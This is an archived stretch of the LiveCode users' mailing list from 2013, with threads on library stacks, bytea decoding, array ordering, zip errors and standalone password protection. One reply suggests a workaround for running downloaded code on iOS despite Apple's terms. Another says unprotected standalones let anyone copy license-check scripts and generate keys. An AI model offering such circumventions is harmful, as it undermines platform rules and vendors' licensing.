tell me over email > and possibly over SMS to +552199581066 > > cheers > andre > > Somebody's eating 'dinner' very, very late indeed; as in Scotland, dinner is normally eaten at about > 1 o'clock in the afternoon. > > Supper is eaten in the evening. > > Richmond. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > --------------- > Marc Siskin > Manager, Modern Language Resource Center > Carnegie Mellon University > msiskin at andrew.cmu.edu > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Mon May 20 17:16:55 2013 From: pete at lcsql.com (Peter Haworth) Date: Mon, 20 May 2013 14:16:55 -0700 Subject: Image ID conventions Message-ID: I'm setting up a library of images for use within an application in a substack reserved for that purpose. According to the dictionary entry for "id", ids 200,000 to 299,999 are "reserved for application use", which I took to mean my application. However, when I try to change the id of an image to a number in that range, I get an error that it's reserved, so I guess I'm misunderstanding the dictionary verbiage. It looks like any numbers from 1001 - 100,999 are available and indeed I get no complaints when I use numbers in that range. Am I correct in assuming that the IDE will always attempt to resolve an image id within my stack before looking in any other stacks that are loaded? Pete lcSQL Software From dixonja at hotmail.co.uk Mon May 20 18:35:58 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Mon, 20 May 2013 23:35:58 +0100 Subject: start using stack Message-ID: Can I put a stack into the message path that is on the on-rev server ? If so, how do I write the 'start using stack' command ? 'www.mydomain.com/mystack' 'http://mydomain.com/mystack' 'http://www.mydomain.com/mystack' none of these seem to work ? Am I barking up the wrong tree ? From bonnmike at gmail.com Mon May 20 18:43:51 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 20 May 2013 16:43:51 -0600 Subject: start using stack In-Reply-To: References: Message-ID: If you're talking about remotely putting a stack in use from a desktop app, you'd need to "go url.." first then start using. If you're talking about lc server, it would just be a regular file path relative to the script that is trying to use the library stack. Same directory, (and defaultfolder not changed) just start using "stackname.livecode" Otherwise give it either a full absolute path or a path relative to the lc script file. On Mon, May 20, 2013 at 4:35 PM, John Dixon wrote: > Can I put a stack into the message path that is on the on-rev server ? > If so, how do I write the 'start using stack' command ? > > 'www.mydomain.com/mystack' > 'http://mydomain.com/mystack' > 'http://www.mydomain.com/mystack' > > none of these seem to work ? Am I barking up the wrong tree ? > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dixonja at hotmail.co.uk Mon May 20 18:51:45 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Mon, 20 May 2013 23:51:45 +0100 Subject: start using stack In-Reply-To: References: , Message-ID: Mike... I would like to use a stack on the on-rev server from within a mobile app... looking at the dictionary 'go url' is not available to iOS > Date: Mon, 20 May 2013 16:43:51 -0600 > Subject: Re: start using stack > From: bonnmike at gmail.com > To: use-livecode at lists.runrev.com > > If you're talking about remotely putting a stack in use from a desktop app, > you'd need to "go url.." first then start using. > > If you're talking about lc server, it would just be a regular file path > relative to the script that is trying to use the library stack. Same > directory, (and defaultfolder not changed) just start using > "stackname.livecode" > > Otherwise give it either a full absolute path or a path relative to the lc > script file. > > > On Mon, May 20, 2013 at 4:35 PM, John Dixon wrote: > > > Can I put a stack into the message path that is on the on-rev server ? > > If so, how do I write the 'start using stack' command ? > > > > 'www.mydomain.com/mystack' > > 'http://mydomain.com/mystack' > > 'http://www.mydomain.com/mystack' > > > > none of these seem to work ? Am I barking up the wrong tree ? > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From revlist at azurevision.co.uk Mon May 20 19:05:12 2013 From: revlist at azurevision.co.uk (Ian Wood) Date: Tue, 21 May 2013 00:05:12 +0100 Subject: start using stack In-Reply-To: References: Message-ID: On 20 May 2013, at 23:51, John Dixon wrote: > Mike... > > I would like to use a stack on the on-rev server from within a mobile app... looking at the dictionary 'go url' is not available to iOS That's because this would be against the iOS developer agreement. The only downloadable code you're allowed to execute in an app is JavaScript etc. in a web view. Ian From bonnmike at gmail.com Mon May 20 19:09:21 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 20 May 2013 17:09:21 -0600 Subject: start using stack In-Reply-To: References: Message-ID: Ah. That would probably be because it would be "running arbitrary code.." which is against the terms. There might be a sneaky workaround, but if you're wanting to submit it to the app store rather than self/internal use it would probably not be a good idea. Heres the idea though. Copy the stack to the clipboard (from your desktop machine) save the clipboard data to your web server.. in a database or whatever. Then on IOS, grab the data gain, push it into the clipboarddata["objects"] and "paste". Haven't tried it, no clue if it will work, no clue if you can "paste" a second stack in on IOS, but maybe it will work. On Mon, May 20, 2013 at 4:51 PM, John Dixon wrote: > Mike... > > I would like to use a stack on the on-rev server from within a mobile > app... looking at the dictionary 'go url' is not available to iOS > > > Date: Mon, 20 May 2013 16:43:51 -0600 > > Subject: Re: start using stack > > From: bonnmike at gmail.com > > To: use-livecode at lists.runrev.com > > > > If you're talking about remotely putting a stack in use from a desktop > app, > > you'd need to "go url.." first then start using. > > > > If you're talking about lc server, it would just be a regular file path > > relative to the script that is trying to use the library stack. Same > > directory, (and defaultfolder not changed) just start using > > "stackname.livecode" > > > > Otherwise give it either a full absolute path or a path relative to the > lc > > script file. > > > > > > On Mon, May 20, 2013 at 4:35 PM, John Dixon > wrote: > > > > > Can I put a stack into the message path that is on the on-rev server ? > > > If so, how do I write the 'start using stack' command ? > > > > > > 'www.mydomain.com/mystack' > > > 'http://mydomain.com/mystack' > > > 'http://www.mydomain.com/mystack' > > > > > > none of these seem to work ? Am I barking up the wrong tree ? > > > > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bonnmike at gmail.com Mon May 20 19:25:12 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 20 May 2013 17:25:12 -0600 Subject: start using stack In-Reply-To: References: Message-ID: Hmm interesting. My dictionary shows it works on IOS, and I just tested it in the simulator. It worked! Would still get kicked by apple, but interesting nonetheless. I set up a simple stack with 1 button. This code in the button (minus the mangling caused by my email client): *on* mouseUp x,y *go* url "http://192.168.254.4/libtest.livecode" *wait* 2 seconds with messages *close* stack "libtest" *end* mouseUp the address and stack are on my local net. Click the button, the stack opens, waits 2 seconds and then closes returning control to the main stack. tested with both 5.5.4 and 6.0.1 community in the simulator (ipad 5.0 +) On Mon, May 20, 2013 at 5:09 PM, Mike Bonner wrote: > Ah. That would probably be because it would be "running arbitrary code.." > which is against the terms. There might be a sneaky workaround, but if > you're wanting to submit it to the app store rather than self/internal use > it would probably not be a good idea. > > Heres the idea though. > > Copy the stack to the clipboard (from your desktop machine) save the > clipboard data to your web server.. in a database or whatever. > > Then on IOS, grab the data gain, push it into the clipboarddata["objects"] > and "paste". > > Haven't tried it, no clue if it will work, no clue if you can "paste" a > second stack in on IOS, but maybe it will work. > > > On Mon, May 20, 2013 at 4:51 PM, John Dixon wrote: > >> Mike... >> >> I would like to use a stack on the on-rev server from within a mobile >> app... looking at the dictionary 'go url' is not available to iOS >> >> > Date: Mon, 20 May 2013 16:43:51 -0600 >> > Subject: Re: start using stack >> > From: bonnmike at gmail.com >> > To: use-livecode at lists.runrev.com >> > >> > If you're talking about remotely putting a stack in use from a desktop >> app, >> > you'd need to "go url.." first then start using. >> > >> > If you're talking about lc server, it would just be a regular file path >> > relative to the script that is trying to use the library stack. Same >> > directory, (and defaultfolder not changed) just start using >> > "stackname.livecode" >> > >> > Otherwise give it either a full absolute path or a path relative to the >> lc >> > script file. >> > >> > >> > On Mon, May 20, 2013 at 4:35 PM, John Dixon >> wrote: >> > >> > > Can I put a stack into the message path that is on the on-rev server ? >> > > If so, how do I write the 'start using stack' command ? >> > > >> > > 'www.mydomain.com/mystack' >> > > 'http://mydomain.com/mystack' >> > > 'http://www.mydomain.com/mystack' >> > > >> > > none of these seem to work ? Am I barking up the wrong tree ? >> > > >> > > _______________________________________________ >> > > use-livecode mailing list >> > > use-livecode at lists.runrev.com >> > > Please visit this url to subscribe, unsubscribe and manage your >> > > subscription preferences: >> > > http://lists.runrev.com/mailman/listinfo/use-livecode >> > > >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From rjd318 at gmail.com Mon May 20 22:11:10 2013 From: rjd318 at gmail.com (Jose Damaso) Date: Mon, 20 May 2013 21:11:10 -0500 Subject: postgresql bytea (blob?) Message-ID: Hi - a legacy database at work contains a bytea field that I want to get the information out of. It's rich text that was for whatever reason, was stored as a blob to keep the formatting codes intact -- I'm not even sure what that means since no one here knows much about it and there is no documentation on the system. Does anyone know how to convert the returned query contents of this bytea field to text (or richtext?) with livecode? It looks like this x7b5c727466315c616e73695c616... etc. when my basic query is put "SELECT c.reportnumber, c.reportblob from cases c WHERE c.ID = " & tCaseID into tQuery Thanks! I'm a layer2 guy at work but am planning to use Livecode as my programming gateway drug =) From monte at sweattechnologies.com Tue May 21 00:45:04 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Tue, 21 May 2013 14:45:04 +1000 Subject: Image ID conventions In-Reply-To: References: Message-ID: On 21/05/2013, at 7:16 AM, Peter Haworth wrote: > Am I correct in assuming that the IDE will always attempt to resolve an > image id within my stack before looking in any other stacks that are loaded? If you look at the icon docs it explains it. It checks behaviors first then checks the stack. But there is a documented order. If this is for an IDE plugin the command I added to resolve images may help you in 6.0.1+ _internal resolve image id 1003 relative to put it Cheers -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From bvg at mac.com Tue May 21 02:27:43 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Tue, 21 May 2013 08:27:43 +0200 Subject: Dictionary Server nonsense. In-Reply-To: <519A13E9.7040009@gmail.com> References: <519A07B9.90907@gmail.com> <519A0CA8.1070507@gmail.com> <519A1325.7030000@gmail.com> <519A13E9.7040009@gmail.com> Message-ID: Try finding the "user extensions" folder of LiveCode. Sometimes it's not set correctly, or set to a weird place. You can see what LC 6.0.1 thinks it should be in the preferences, under "files & memory". If you navigate to that folder, there should be a copy of my stack, and a folder containing the SQLite files for each version that BvG Docu 2 ran under. Also, make sure you have write privileges on the folder, so BvG Docu 2 can "remember" that it already built the entries. One other user has reported that this preference was not set correctly by 6.0.1, and in his case by running 5.5.4 he was able to make LC "see" the folder. Also, please note that version 1.8 of BvG Docu is discontinued, and does not receive any updates anymore... not that such a thing ever discouraged you xD On 20.05.2013, at 14:15, Richmond wrote: > On 05/20/2013 03:12 PM, Richmond wrote: >> On 05/20/2013 02:51 PM, Shawn Blc wrote: >>> In the meantime you can use BvG Docu 2, that's what I'm doing. >>> http://bjoernke.com/?target=bvgdocu >>> >> >> Oddly enough, every time I start up Livecide OSS 6.0.1 on Linux it loads Bjoerne's plug-in, and then builds it; >> so it is obviously not saving. >> >> If I close the plug-in via the green ?, and then reopen it, it, again, rebuilds. > > HOWEVER; version 1.8 works well insofar as it built me documentation based on my 4.5 install as it was unable to see > the "invisible" folder LC 6.0.l1 default installs in on Linux. > >> >> Richmond. -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From bvg at mac.com Tue May 21 02:53:07 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Tue, 21 May 2013 08:53:07 +0200 Subject: postgresql bytea (blob?) In-Reply-To: References: Message-ID: <8162DDCE-A5ED-4520-A185-A9242DFF8989@mac.com> Hmm maybe "x7" could indicate it's base15? They used to store ascii in that encoding, because it's "shorter" then 8 bits (base16)... Nope, it's not that, and it'd be (number)x or something like that anyway... fumbling around... what if there's a 0 missing at the start (0x is used for octal, base16, 8 bit)? Of course! So what I did was encode the base16 codes to numbers and then chars, in a repeat loop (ignoring the x) and in the end i got: "{\rtf1\ansi\a" So that looks about right. Here's the code: -- on mouseUp put "x7b5c727466315c616e73695c616" into theData repeat for each char theChar in char 2 to -1 of theData put theChar after twoChars if the length of twoChars = 2 then put baseconvert(twoChars,16,10) into twoChars put numtochar(twoChars) after theResult put "" into twoChars end if end repeat put theResult -- {\rtf1\ansi\a end mouseUp -- cheers Bj?rnke On 21.05.2013, at 04:11, Jose Damaso wrote: > Hi - a legacy database at work contains a bytea field that I want to get > the information out of. It's rich text that was for whatever reason, was > stored as a blob to keep the formatting codes intact -- I'm not even sure > what that means since no one here knows much about it and there is no > documentation on the system. Does anyone know how to convert the returned > query contents of this bytea field to text (or richtext?) with livecode? It > looks like this > > x7b5c727466315c616e73695c616... etc. > when my basic query is > put "SELECT c.reportnumber, c.reportblob from cases c WHERE c.ID = " & > tCaseID into tQuery > > Thanks! > > I'm a layer2 guy at work but am planning to use Livecode as my programming > gateway drug =) -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From toolbook at kestner.de Tue May 21 05:46:00 2013 From: toolbook at kestner.de (Tiemo Hollmann TB) Date: Tue, 21 May 2013 11:46:00 +0200 Subject: order of array is different after split Message-ID: <004201ce5608$00fe0e60$02fa2b20$@de> Hi, when splitting a plain list into an array, the order of the array is different to the source list. E.g. if the list was sorted international, the array is sorted standard. Is this a standard behavior of split, or do I have any options on the array order. I know, as far as you access the array by its keys, the order isn't relevant, but sometimes it might by suitable to process the array in sequence and then it could be valuable if the sequence is the same as the origin. Any comments? Tiemo From m.schonewille at economy-x-talk.com Tue May 21 06:00:24 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Tue, 21 May 2013 12:00:24 +0200 Subject: order of array is different after split In-Reply-To: <004201ce5608$00fe0e60$02fa2b20$@de> References: <004201ce5608$00fe0e60$02fa2b20$@de> Message-ID: <519B45B8.3020807@economy-x-talk.com> Hi Tiemo, Since you're just asking for comments, I'm not sure what kind of answer you're looking for but I'll try. To process an array in sorted order, you can put the keys into a variable: put the keys of myArray into myKeys sort the lines of myKeys ascending international repeat for each line myKey in myKeys // do something with myArray[myKey] end repeat This processes the array in internationally sorted order. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/21/2013 11:46, Tiemo Hollmann TB wrote: > Hi, > > when splitting a plain list into an array, the order of the array is > different to the source list. E.g. if the list was sorted international, the > array is sorted standard. Is this a standard behavior of split, or do I have > any options on the array order. > > I know, as far as you access the array by its keys, the order isn't > relevant, but sometimes it might by suitable to process the array in > sequence and then it could be valuable if the sequence is the same as the > origin. > > > > Any comments? > > Tiemo > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From toolbook at kestner.de Tue May 21 06:08:30 2013 From: toolbook at kestner.de (Tiemo Hollmann TB) Date: Tue, 21 May 2013 12:08:30 +0200 Subject: AW: order of array is different after split In-Reply-To: <519B45B8.3020807@economy-x-talk.com> References: <004201ce5608$00fe0e60$02fa2b20$@de> <519B45B8.3020807@economy-x-talk.com> Message-ID: <004701ce560b$25ac9760$7105c620$@de> Hi Mark, "any comments" was indeed a bit open. But you have answered my question, that the keys in an array are indeed not sorted like the source list and thanks for the appropriate workaround. Tiemo > -----Urspr?ngliche Nachricht----- > Von: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] Im Auftrag > von Mark Schonewille > Gesendet: Dienstag, 21. Mai 2013 12:00 > An: How to use LiveCode > Betreff: Re: order of array is different after split > > Hi Tiemo, > > Since you're just asking for comments, I'm not sure what kind of answer > you're looking for but I'll try. > > To process an array in sorted order, you can put the keys into a variable: > > put the keys of myArray into myKeys > sort the lines of myKeys ascending international repeat for each line myKey > in myKeys > // do something with myArray[myKey] > end repeat > > This processes the array in internationally sorted order. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour > spaces. http://www.color-converter.com > > Buy my new book "Programming LiveCode for the Real Beginner" > http://qery.us/3fi > > On 5/21/2013 11:46, Tiemo Hollmann TB wrote: > > Hi, > > > > when splitting a plain list into an array, the order of the array is > > different to the source list. E.g. if the list was sorted > > international, the array is sorted standard. Is this a standard > > behavior of split, or do I have any options on the array order. > > > > I know, as far as you access the array by its keys, the order isn't > > relevant, but sometimes it might by suitable to process the array in > > sequence and then it could be valuable if the sequence is the same as > > the origin. > > > > > > > > Any comments? > > > > Tiemo > > > > > > > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mblivecode at harbourhosting.co.uk Tue May 21 07:56:42 2013 From: mblivecode at harbourhosting.co.uk (Martin Baxter) Date: Tue, 21 May 2013 12:56:42 +0100 Subject: ziperr,illegal variable Message-ID: <519B60FA.4080309@harbourhosting.co.uk> When I run this in version 4.5.0: on mouseUp put "/var/www/htdocs/ug/testarchive.zip" into tobjpath revZipOpenArchive tobjpath, "write" put "1) " & the result & return after msg put "doodah" into tdataxxx put "mimetype" into tparamxxx revZipAddUncompressedItemWithData tobjpath, tparamxxx, tdataxxx put "2) " & the result & return after msg revZipCloseArchive tobjpath end mouseUp No archive is created and the message box ends up with this in it: 1) 2) ziperr,illegal variable The problem seems to be tdataxxx. If I comment out the line: # put "doodah" into tdataxxx the archive is created successfully containing a file called mimetype but which contains the literal string "tdataxxx" Can anyone shed any light on this? BTW revZipAddItemWithData behaves the same Martin Baxter From gspearson at gmail.com Tue May 21 09:39:04 2013 From: gspearson at gmail.com (Graham Pearson) Date: Tue, 21 May 2013 09:39:04 -0400 Subject: Multiple Images on Card Message-ID: <519B78F8.20608@gmail.com> As part of my learning LiveCode and moving an application from Adobe Air I have come up with something that I have not been able to find in the IDE. Does anyone know if it is possible to Zoom a card so that lines can be matched up on different images. I have inserted as control 20 images that make an entire picture and have done it this way so that when a user hovers over a section of the picture, it would change colors and upon clicking a section of the picture it would display a new card with detailed information of the section of the image selected. The images started as Vector Images which I converted to a Symbol then imported as a control in LiveCode. Once the lines have lined up then I can reduce zoom back to 100% for the project. From coiin at verizon.net Tue May 21 10:08:27 2013 From: coiin at verizon.net (Colin Holgate) Date: Tue, 21 May 2013 10:08:27 -0400 Subject: Multiple Images on Card In-Reply-To: <519B78F8.20608@gmail.com> References: <519B78F8.20608@gmail.com> Message-ID: <97B376A3-70DF-47AA-8B65-8FF3A31678C1@verizon.net> There is no zooming of the card's contents like you can in Flash Pro. There are alignment tools you can use, and there is a grid, that you can set in preferences. Between those things you can get most things lined up nicely. LiveCode also doesn't have sub-pixel placement, which means that unlike Flash you can't get into the situation where two images are a fraction of a pixel misaligned, which is one of the reasons you then have to zoom in. You should easily be able to see when two objects are aligned, even without zooming. From tate83 at gmail.com Tue May 21 11:01:15 2013 From: tate83 at gmail.com (Pascal Lehner) Date: Tue, 21 May 2013 16:01:15 +0100 Subject: Mobile Bandwith and Battery Optimization Message-ID: Hi everyone, I just stumbled accross this video and the free online O'Reilly book from Ilya Grigorik on "High Performance Browser Networking". Thought that might be interesting to all the app developers out there.. Grigorik also spoke during Google I/O 2013 - Mobile Performance from the Radio Up: Battery, Latency and Bandwidth Optimization: http://www.youtube.com/watch?v=dASOm88Wh8g&feature=player_embedded Greetz from a very sunny Edinburgh (that's day 2 of 2 from this years summer..), Pascal -- Pascal Lehner 147/1 St Leonards Street Edinburgh EH8 9RB United Kingdom Mobile +44 79 706 31 400 www.forall.ch http://about.me/pascal.lehner From richmondmathewson at gmail.com Tue May 21 11:10:20 2013 From: richmondmathewson at gmail.com (Richmond) Date: Tue, 21 May 2013 18:10:20 +0300 Subject: Password protection? Message-ID: <519B8E5C.6030205@gmail.com> So, I made a stack containing 1 button containing the script: on mouseUp put "Wotcha" end mouseUp then made Linux, Mac and Windows standalones using LC 4.5 with a password protecting the stack. then made Linux, Mac and Windows standalones using LC 6.0.1 OSS (with NO password protection). this all done on a box running Ubuntu 12.04. The standalones for each OS from the 2 LC versions look functionally the same. What I want to do is learn how I can "crack" the non-password protected standalones so that I am actually convinced there is a REAL difference between them and those that, supposedly, contain password protected stacks. Even the Macintosh standalone, which is not a monolithic file but a series of nested directories and folders, does not have anything obviously different in either of the standalones, nor anything that looks like a raw stack. Richmond. From richmondmathewson at gmail.com Tue May 21 11:16:31 2013 From: richmondmathewson at gmail.com (Richmond) Date: Tue, 21 May 2013 18:16:31 +0300 Subject: Mobile Bandwith and Battery Optimization In-Reply-To: References: Message-ID: <519B8FCF.6000205@gmail.com> On 21/05/13 18:01, Pascal Lehner wrote: > Hi everyone, > > I just stumbled accross this video and the free online O'Reilly book from > Ilya Grigorik on "High Performance Browser Networking". Thought that might > be interesting to all the app developers out there.. > > Grigorik also spoke during Google I/O 2013 - Mobile Performance from the > Radio Up: Battery, Latency and Bandwidth Optimization: > http://www.youtube.com/watch?v=dASOm88Wh8g&feature=player_embedded > > Greetz from a very sunny Edinburgh (that's day 2 of 2 from this years > summer..), Get down here to Bulgaria where we are currently running at about 32 C in day 10 of a Summer which will last until about 1 October, maxing out at about 43-4 C in August. Or, count yourself lucky! Frankly I'd rather have some sort of wind blowing up Leith Walk with a smell of bad fish than the 4-5 months of baking, humid Summer we get in Plovdiv, Bulgaria. Folk may remember my turning up sopping wet at the RunRev offices having walked from Pollok Halls in the rain - and, as a person from near Elgin, that felt just fine to me. Richmond. > > Pascal > > -- > > Pascal Lehner > > 147/1 St Leonards Street > Edinburgh > EH8 9RB > United Kingdom > > Mobile +44 79 706 31 400 > www.forall.ch > http://about.me/pascal.lehner > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mcgrath3 at mac.com Tue May 21 11:56:09 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Tue, 21 May 2013 11:56:09 -0400 Subject: Multiple Images on Card In-Reply-To: <519B78F8.20608@gmail.com> References: <519B78F8.20608@gmail.com> Message-ID: Graham, There are many tools or plugins that you can get for better alignment and positioning in LiveCode. There is Dar's Tiny Loupe and also Guides Picker 2.0 And outside of LiveCode xScope for the Mac is an awesome tool which also has support for layouts for Mobile. Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 21, 2013, at 9:39 AM, Graham Pearson wrote: > As part of my learning LiveCode and moving an application from Adobe Air > I have come up with something that I have not been able to find in the > IDE. Does anyone know if it is possible to Zoom a card so that lines can > be matched up on different images. > > I have inserted as control 20 images that make an entire picture and > have done it this way so that when a user hovers over a section of the > picture, it would change colors and upon clicking a section of the > picture it would display a new card with detailed information of the > section of the image selected. > > The images started as Vector Images which I converted to a Symbol then > imported as a control in LiveCode. Once the lines have lined up then I > can reduce zoom back to 100% for the project. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Tue May 21 11:58:21 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Tue, 21 May 2013 17:58:21 +0200 Subject: Password protection? In-Reply-To: <519B8E5C.6030205@gmail.com> References: <519B8E5C.6030205@gmail.com> Message-ID: <519B999D.7060007@economy-x-talk.com> Hi Richmond, Open the standalone in a text editor and copy the scripts, particularlythe license checking routines. Then use those scripts to create your own key. I think that's enough difference. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/21/2013 17:10, Richmond wrote: > So, I made a stack containing 1 button containing the script: > > on mouseUp > put "Wotcha" > end mouseUp > > then made Linux, Mac and Windows standalones using LC 4.5 with a password > protecting the stack. > > then made Linux, Mac and Windows standalones using LC 6.0.1 OSS (with NO > password protection). > > this all done on a box running Ubuntu 12.04. > > The standalones for each OS from the 2 LC versions look functionally the > same. > > What I want to do is learn how I can "crack" the non-password protected > standalones > so that I am actually convinced there is a REAL difference between them > and those > that, supposedly, contain password protected stacks. > > Even the Macintosh standalone, which is not a monolithic file but a > series of nested directories and folders, > does not have anything obviously different in either of the standalones, > nor anything that looks like a > raw stack. > > Richmond. From WSUMNER at dom.wustl.edu Tue May 21 12:05:10 2013 From: WSUMNER at dom.wustl.edu (Sumner, Walt) Date: Tue, 21 May 2013 16:05:10 +0000 Subject: Glassware? Message-ID: <411BD0865C7F7446890718EBDF2BDCAD044C46@DOMEX04.DOM.wustl.edu> Do we expect Livecode to be able to make glassware at some point? Just another android-linux system? Stack=timeline, card=card? Walton Sumner From pete at lcsql.com Tue May 21 13:22:10 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 21 May 2013 10:22:10 -0700 Subject: ziperr,illegal variable In-Reply-To: <519B60FA.4080309@harbourhosting.co.uk> References: <519B60FA.4080309@harbourhosting.co.uk> Message-ID: On Tue, May 21, 2013 at 4:56 AM, Martin Baxter < mblivecode at harbourhosting.co.uk> wrote: > revZipAddUncompressedItemWithData > Haven't used revZipAddUncompressedItemWithData but judging from other revZip commands, I think your variable tdataxxx needs to be in quotes. Not sure about tparamxxx. Pete lcSQL Software From pete at lcsql.com Tue May 21 13:30:57 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 21 May 2013 10:30:57 -0700 Subject: Graphic effects parms Message-ID: There are a couple of graphic effects parms in the Inspector that aren't documented in the dictionary. The dropShadow effect has a "knockout" parm which is a checkbox in the IDE inspector. The innerGlow effect has a "source" parm which is an option menu in the IDE inspector but always seems to be disabled. Looking at the array for innerGlow, it has a value of "edge" Any clues as to what these mystery parms might be? I'm also having problems with the Inspecotr Graphic Effects tab in that the parameters for all the effects except dropshadow are always disabled, even though the effect is applied. A good reason to use Scott's recent tmEffects palette I guess! Pete lcSQL Software From gspearson at gmail.com Tue May 21 13:32:24 2013 From: gspearson at gmail.com (Graham Pearson) Date: Tue, 21 May 2013 13:32:24 -0400 Subject: Multiple Images on Card In-Reply-To: References: <519B78F8.20608@gmail.com> Message-ID: <519BAFA8.8080302@gmail.com> Thanks for that info as I will investigate. I think I have my slices of images aligned enough to make a run at this application. As I work through the script to take each of these images an change the color upon mouseOver, the ultimate goal is to have this application in a web page. In search the Forums it looks like messages within the Server Component stopped in 2012. I saw messages referencing the server part in RunRev Store but I have not been able to get logged in as I have been getting Browser Loop Errors all day. Does anyone have insight to the Server Piece. I hope that it is still in production as it would make my transition from Flex/Flash/Air to Livecode so much easier. On 5/21/2013 11:56 AM, Thomas McGrath III wrote: > Graham, > > There are many tools or plugins that you can get for better alignment and positioning in LiveCode. > > There is Dar's Tiny Loupe and also Guides Picker 2.0 > And outside of LiveCode xScope for the Mac is an awesome tool which also has support for layouts for Mobile. > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > On May 21, 2013, at 9:39 AM, Graham Pearson wrote: > >> As part of my learning LiveCode and moving an application from Adobe Air >> I have come up with something that I have not been able to find in the >> IDE. Does anyone know if it is possible to Zoom a card so that lines can >> be matched up on different images. >> >> I have inserted as control 20 images that make an entire picture and >> have done it this way so that when a user hovers over a section of the >> picture, it would change colors and upon clicking a section of the >> picture it would display a new card with detailed information of the >> section of the image selected. >> >> The images started as Vector Images which I converted to a Symbol then >> imported as a control in LiveCode. Once the lines have lined up then I >> can reduce zoom back to 100% for the project. >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: 